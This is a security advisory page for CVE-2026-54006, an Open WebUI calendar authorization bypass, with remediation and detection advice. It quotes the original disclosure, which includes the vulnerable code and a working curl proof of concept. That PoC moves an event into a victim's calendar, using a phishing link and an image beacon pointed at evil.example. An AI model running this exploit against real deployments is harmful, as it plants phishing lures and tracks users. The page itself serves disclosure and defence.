CVE-2026-54006: open-webui: auth bypass allows cross-user calendar injection
GHSA-f3g7-59qc-pqg6 MEDIUMOpen WebUI's calendar update API validates write access only on the source calendar and ignores the destination `calendar_id` supplied in the request body, letting any authenticated low-privilege user silently inject crafted events—including HTML-formatted phishing lures with image-beacon tracking—directly into another user's private calendar. Though CVSS rates this Medium (4.3), teams running Open WebUI as a self-hosted LLM workspace face a meaningful social engineering risk: injected events appear inside the victim's own private calendar with no external-invite indicator, making them far more credible than email phishing. Open WebUI carries 102 prior CVEs in the same package and a 94th-percentile EPSS rating, signaling this authorization-bypass class gets exploited reliably once PoC details circulate. Upgrade to open-webui 0.9.6 immediately or disable the feature via `ENABLE_CALENDAR=False` as an interim workaround.
What is the risk?
Medium risk overall, elevated for multi-user enterprise Open WebUI deployments where users have mixed trust levels. Exploitation requires only a valid user-role account and knowledge of the target's calendar UUID, obtainable through any legitimate calendar-sharing or event-attendee workflow. No privilege escalation beyond the initial account is needed. The attack surface is the default configuration with both ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR defaulting to True. The immediate impact is HTML injection rather than RCE or data exfiltration: DOMPurify strips script execution but permits formatted anchor tags and img beacons, enabling phishing and silent read-receipt tracking at scale. Not a breaking-alert candidate absent confirmed active exploitation.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.9.5 | 0.9.6 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
4 steps-
Patch: Upgrade open-webui to 0.9.6, which adds the missing destination calendar ACL check in the update_event router before persisting the new calendar_id.
-
Immediate workaround: Set ENABLE_CALENDAR=False or USER_PERMISSIONS_FEATURES_CALENDAR=False in your Open WebUI configuration to disable the calendar subsystem entirely until patching is complete.
-
Detection: Query your PostgreSQL calendar_events table for rows where the creating user_id does not own the calendar_id column value. Monitor web access logs for POST /api/v1/calendars/events/*/update requests and flag cases where the JSON body calendar_id differs from the event owner's default calendar.
-
Hardening: Audit existing calendar AccessGrants and revoke unnecessary read permissions to reduce the UUID exposure pathways available to potential attackers.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54006?
Open WebUI's calendar update API validates write access only on the source calendar and ignores the destination `calendar_id` supplied in the request body, letting any authenticated low-privilege user silently inject crafted events—including HTML-formatted phishing lures with image-beacon tracking—directly into another user's private calendar. Though CVSS rates this Medium (4.3), teams running Open WebUI as a self-hosted LLM workspace face a meaningful social engineering risk: injected events appear inside the victim's own private calendar with no external-invite indicator, making them far more credible than email phishing. Open WebUI carries 102 prior CVEs in the same package and a 94th-percentile EPSS rating, signaling this authorization-bypass class gets exploited reliably once PoC details circulate. Upgrade to open-webui 0.9.6 immediately or disable the feature via `ENABLE_CALENDAR=False` as an interim workaround.
Is CVE-2026-54006 actively exploited?
No confirmed active exploitation of CVE-2026-54006 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54006?
1. Patch: Upgrade open-webui to 0.9.6, which adds the missing destination calendar ACL check in the update_event router before persisting the new calendar_id. 2. Immediate workaround: Set ENABLE_CALENDAR=False or USER_PERMISSIONS_FEATURES_CALENDAR=False in your Open WebUI configuration to disable the calendar subsystem entirely until patching is complete. 3. Detection: Query your PostgreSQL calendar_events table for rows where the creating user_id does not own the calendar_id column value. Monitor web access logs for POST /api/v1/calendars/events/*/update requests and flag cases where the JSON body calendar_id differs from the event owner's default calendar. 4. Hardening: Audit existing calendar AccessGrants and revoke unnecessary read permissions to reduce the UUID exposure pathways available to potential attackers.
What systems are affected by CVE-2026-54006?
This vulnerability affects the following AI/ML architecture patterns: self-hosted LLM chat interfaces, multi-user AI workspaces, enterprise LLM deployment platforms.
What is the CVSS score for CVE-2026-54006?
CVE-2026-54006 has a CVSS v3.1 base score of 4.3 (MEDIUM). The EPSS exploitation probability is 0.02%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0012 Valid Accounts AML.T0048.003 User Harm AML.T0049 Exploit Public-Facing Application AML.T0052 Phishing Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary `POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally. A regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`. ### Details ### Sink — missing destination check `backend/open_webui/routers/calendar.py:283-297` ```python @router.post('/events/{event_id}/update', response_model=CalendarEventModel) async def update_event( request: Request, event_id: str, form_data: CalendarEventUpdateForm, user: UserModel = Depends(get_verified_user) ): await check_calendar_permission(request, user) event = await CalendarEvents.get_event_by_id(event_id) if not event: raise HTTPException(status_code=404, detail='Event not found') await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id ... ``` `backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`) ```python update_data = form_data.model_dump(exclude_unset=True) for field in [ 'calendar_id', # ← destination persisted with no ACL 'title', 'description', 'start_at', 'end_at', 'all_day', 'rrule', 'color', 'location', 'is_cancelled', ]: if field in update_data: setattr(event, field, update_data[field]) ``` ### Reference — `create_event` does check the destination `backend/open_webui/routers/calendar.py:255` ```python await _check_calendar_access(form_data.calendar_id, user, 'write') ``` ### Default-config gates (both `True`) - `backend/open_webui/config.py:1658-1662` — `ENABLE_CALENDAR` defaults `'True'` - `backend/open_webui/config.py:1554` — `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `'True'` - `backend/open_webui/main.py:1457` — router mounted unconditionally ### PoC Verified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts. #### 1. Environment ```bash git clone https://github.com/open-webui/open-webui.git cd open-webui && docker compose up -d # http://localhost:3000 ``` Create the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`. #### 2. Obtain the victim's `calendar_id` Calendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via: - **Read-only share** — victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`. - **Event invitation** — victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`. - Any side-channel (logs, screenshots, browser history). For reproduction the maintainer can simply read it as the victim: ```bash VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') ``` #### 3. Control — direct create is correctly blocked ```bash curl -s -o /dev/null -w '%{http_code}\n' \ -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" # → 403 ``` #### 4. Exploit — create-then-reparent ```bash ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') # 1. create in own calendar EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])') # 2. move into victim's calendar — NO destination check curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}" # → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>" ``` #### 5. Verification from victim's session ```bash curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool ``` Observed output (truncated): ```json [{ "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0", "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb", "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5", "title": "[INJECTED] Mandatory re-auth: https://evil.example/login", "description": "Session expired.", ... }] ``` The injected event now lives in the victim's default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** — confirming the move succeeded and the attacker has no legitimate access to the destination. ### Impact - **Read-only → write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write. - **Phishing / social engineering**: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 → common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `<img>` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
Exploitation Scenario
An insider or attacker holding a compromised standard user-role account receives a legitimate calendar-share notification from a target colleague, which exposes the target's calendar UUID in the GET /api/v1/calendars/ API response. The attacker crafts a calendar event with a title such as 'Action Required: LLM API Key Rotation' and a location field containing a phishing anchor tag and an img beacon pointing to an attacker-controlled server. They first POST to /api/v1/calendars/events/create with their own calendar_id—which passes the correct ACL check and returns 200 with an event_id. They immediately POST to /api/v1/calendars/events/{event_id}/update with the victim's calendar_id as the body payload. The update endpoint validates only the source calendar write access, persists the destination calendar_id unconditionally, and returns 200. The event now lives in the victim's private calendar. A subsequent GET by the attacker returns 403, confirming a stealthy transfer with no ongoing attacker visibility. The victim encounters the phishing event with no external-invite banner, dramatically increasing click-through likelihood.
Weaknesses (CWE)
CWE-639 — Authorization Bypass Through User-Controlled Key: The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
- [Architecture and Design] For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- [Architecture and Design, Implementation] Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui